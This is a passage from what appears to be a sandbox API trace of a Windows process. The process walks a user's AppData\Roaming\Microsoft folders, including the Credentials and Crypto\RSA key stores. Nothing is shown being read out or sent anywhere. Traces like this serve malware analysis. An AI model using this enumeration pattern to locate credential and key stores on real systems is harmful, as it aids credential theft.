SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2b [0068.298] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x1e2930 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.299] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.300] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.301] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.301] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x32 [0068.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\addins"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ac2470, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x14ac2470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x14ac2470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x32 [0068.301] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.301] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.301] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.302] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x32 [0068.302] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.302] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.302] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.302] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", lpFilePart=0x0) returned 0x32 [0068.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\clview"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d87d4f0, ftCreationTime.dwHighDateTime=0x1d3005c, ftLastAccessTime.dwLowDateTime=0x6d87d4f0, ftLastAccessTime.dwHighDateTime=0x1d3005c, ftLastWriteTime.dwLowDateTime=0x6d87d4f0, ftLastWriteTime.dwHighDateTime=0x1d3005c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.321] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", lpFilePart=0x0) returned 0x32 [0068.321] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.321] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.321] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.321] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.322] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", lpFilePart=0x0) returned 0x37 [0068.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\clview\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d87d4f0, ftCreationTime.dwHighDateTime=0x1d3005c, ftLastAccessTime.dwLowDateTime=0x6d87d4f0, ftLastAccessTime.dwHighDateTime=0x1d3005c, ftLastWriteTime.dwLowDateTime=0x6d87d4f0, ftLastWriteTime.dwHighDateTime=0x1d3005c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", lpFilePart=0x0) returned 0x37 [0068.322] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e29b0 [0068.322] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.322] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.322] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", lpFilePart=0x0) returned 0x37 [0068.323] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e29b0 [0068.323] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.323] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.323] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", lpFilePart=0x0) returned 0x32 [0068.323] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.323] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.323] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.323] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.324] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x37 [0068.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\credentials"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x37 [0068.324] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.324] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.324] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.324] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x37 [0068.325] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.325] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.325] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.325] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x32 [0068.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\crypto"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x32 [0068.325] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e29b0 [0068.326] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.326] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.326] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.326] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x36 [0068.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\crypto\\rsa"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xd17712c0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xd17712c0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x36 [0068.326] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e29b0 [0068.326] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.327] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.327] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.327] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x65 [0068.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1534390919-4215197118-2202912847-1000"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xd17712c0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x4b03f510, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x4b03f510, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x65 [0068.353] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e29b0 [0068.358] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.358] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.358] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.359] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.359] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.359] FindClose (in: hFindFile=0x1e29b0 | out: hFindFile=0x1e29b0) returned 1 [0068.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.359] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x65 [0068.359] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e29b0 [0068.360] FindNextFileW (in: hFindFile=0x1e29b0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.360] FindNextFileW (in: hFindFile=0x1e29b0, 